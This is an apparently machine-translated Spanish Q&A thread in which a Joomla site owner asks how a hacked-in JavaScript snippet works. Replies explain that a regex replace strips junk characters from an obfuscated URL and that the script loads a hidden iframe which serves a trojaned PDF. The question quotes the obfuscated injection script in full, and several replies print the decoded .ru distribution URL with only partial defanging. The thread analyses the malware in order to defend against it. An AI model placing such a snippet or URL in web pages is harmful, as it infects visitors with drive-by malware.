2010-01-22 8 views
87

Mi Joomla! el sitio web ha sido hackeado repetidamente. Alguien, de alguna manera, logró inyectar la siguiente basura en los scripts clave de php, pero me refiero a no hablar sobre la configuración de Joomla. El sitio no se visita mucho (a veces me temo que podría ser el único visitante de ese sitio ...) y no me importa mucho que el sitio vuelva a funcionar. Lo manejaré eventualmente.¿Cómo funciona este desastre?

Mi pregunta es, ¿cómo funciona esta basura? Lo miro y simplemente no veo cómo se las arregla para hacer daño. Lo que hace es tratar de descargar un archivo PDF llamado ChangeLog.pdf, que está infectado con un troyano y después de la apertura congelará su Acrobat y causará estragos en su máquina. Cómo hace eso, no sé, no me importa. Pero, ¿cómo el siguiente fragmento de script invoca la descarga?

<script>/*Exception*/ document.write('<script src='+'h#^([email protected])((t$&@p#:)&/!$/)@d$y#^#[email protected]$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@[email protected]@([email protected]$p(.&@c&)@(o$m)).!$m$)[email protected]([email protected]()s&[email protected]&o$&(u#)$x&&^(i)[email protected]^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&[email protected]&^&l^$(l)&y$(#@[email protected]!((o#d&^.^#)r$#^u!!$:(#@&8#)([email protected]&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&[email protected]!&^m#&/&(s&$(o!f&[email protected]&o!!n)&i$&c!.#^^c)[email protected]@(([email protected]#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^[email protected]$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&[email protected](z(@)^[email protected])c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script> 
<!--6f471c20c9b96fed179c85ffdd3365cf--> 

ESET ha detectado este código como JS/TrojanDownloader.Agent.NRO troyano

+37

¡Por favor, no vayas a nadie a retirar el enlace por curiosidad! – DOK

+1

Sí, no deambulemos tratando de descubrir qué está sucediendo, la magia está en la simple codificación de la URL y la posterior descodificación/análisis sintáctico de la cadena utilizando Replace/RegEx que se ve al final de la línea. – DoctorLouie

+10

"fragmento de script" se lee como algo diferente, al principio. –

Respuesta

169

Aviso replace la llamada después de que el gigante cadena desordenado: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Se elimina la mayor parte de los caracteres especiales, convirtiéndola en una URL normal:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

(he cambiado manualmente http: a evil:)

Tenga en cuenta que la expresión regular podría haber sido simplificado para .replace(/[#[email protected]^&()!]/ig, '')

Si observa el script, verá que es un script muy simple que inyecta un IFRAME oculto que contiene la ruta /index.php?ys del mismo dominio.

Solicité esa página en Fiddler, y no tenía contenido.

+5

Creo que el script que proporciona el contenido del iframe está hecho para no iniciar la descarga del pdf cada vez. Puede haber una probabilidad de 1 en 10 o algo así. No intenté descargar el pdf cada vez que actualicé la página de Joomla. Podría ser incluso 1 en 100 ... ¿quién sabe? –

+160

+1 por mencionar que el código podría haber sido escrito de manera más eficiente. :) –

+4

@Pekka, creo que fue escrito deliberadamente de esa manera para ser más oscuro –

20

Simplemente reemplaza una expresión regular en la url script para darle

NOTA: NO SIGA EL VÍNCULO ABAJO (insertó ** para disuadir a los copiadores)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

como el src

+0

tan simple como eso, ¿verdad? Dios mío ... he sido pwnd por SO nuevamente :) –

+21

Esa es una URL hilarante. –

+1

¿Por qué no puedo seguir el enlace? –

8

Utiliza la función de reemplazar para reemplazar los caracteres de basura utilizando expresiones regulares, nada mal con el código:

........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '') 
6

Su script de carga de

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

Y esa carga guión iframe de visibilidad hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys 
2

Al leer todo el asunto, que encuentran que es una cadena seguido por un comando de reemplazar .

32

Estas respuestas pueden ayudarlo a comprender la naturaleza del código JavaScript malicioso, pero lo que debe buscar es una forma de cerrar la laguna inherente al motor Joomla.Los marcos preempaquetados son propensos a lagunas legales, intencionales o no, especialmente cuando se tiene en cuenta que están diseñados para trabajar en entornos Unix, Mac y Windows.

Mi trabajo requiere que ejecute muchos dominios, aplicaciones y frameworks en muchos tipos de servidores y sistemas para clientes y para mí. Con el tiempo, he visto cada vez más robots arrastrándose por estos sistemas en busca de vacíos y entradas conocidas por las entradas de puerta trasera creadas por esos marcos. Lo bueno es que cuando uso cualquier tipo de framework, cosa que rara vez hago, me aseguro de cambiar el nombre de la estructura de archivos si no de todo para deshacerme de esas molestas lagunas/puertas traseras. Por lo menos, puede cambiar el nombre de los directorios que arrojarán la mayoría de los bots, pero mi camino es eliminar por completo las referencias que dan pistas sobre la naturaleza del framework, que incluye el cambio de nombre de toda la estructura de archivos no solo directorios. Mantenga siempre un mapa de las nuevas convenciones de nomenclatura en relación con las convenciones de nomenclatura antiguas para hacer que agregar complementos a su marco base sea muy fácil. Una vez que se familiarice con esto, puede llegar a asignar un nombre a la estructura de archivos de Framework para obtener resultados más rápidos, esto es especialmente útil cuando se trata de clientes que necesitan actualizar su framework con complementos y similares.

+1

Simplemente no elimine la información sobre el origen del marco, que sería completamente erróneo. – DoctorLouie

+1

Oooo, gracias. Esa es una buena respuesta. Realmente no respondí la pregunta, pero igual +1, ya que esta fue de hecho una lectura muy interesante y se hicieron buenas sugerencias. Ejército de reserva –

2

Tengo el mismo sript en mis páginas en archivos de índice *. *. Estoy escribiendo mi propio código en PHP. Mi pregunta no es cómo funciona esto, pero estoy preguntando cómo protegerla si conoce sus puertas traseras. Cambié los formularios y leí $ _POST y $ _GET con la sustitución de <> y http: // etc.

2

Mis dos centavos. ¿Has/puedes instalar una herramienta de copia de seguridad de Joomla como Joomlapack?

Lo he configurado para que se ejecute a través de una secuencia de comandos CRON para mantener las mercancías a mano en caso de que los atracadores lleguen al asalto.

¿Qué versión de Joomla estás ejecutando?

Las versiones 1.0.X ya no se actualizan y su edad realmente comienza a mostrarse. Te debes a ti mismo hacer una copia de seguridad y planear actualizar a 1.5 y anticipar las maravillas de 1.6

Cuestiones relacionadas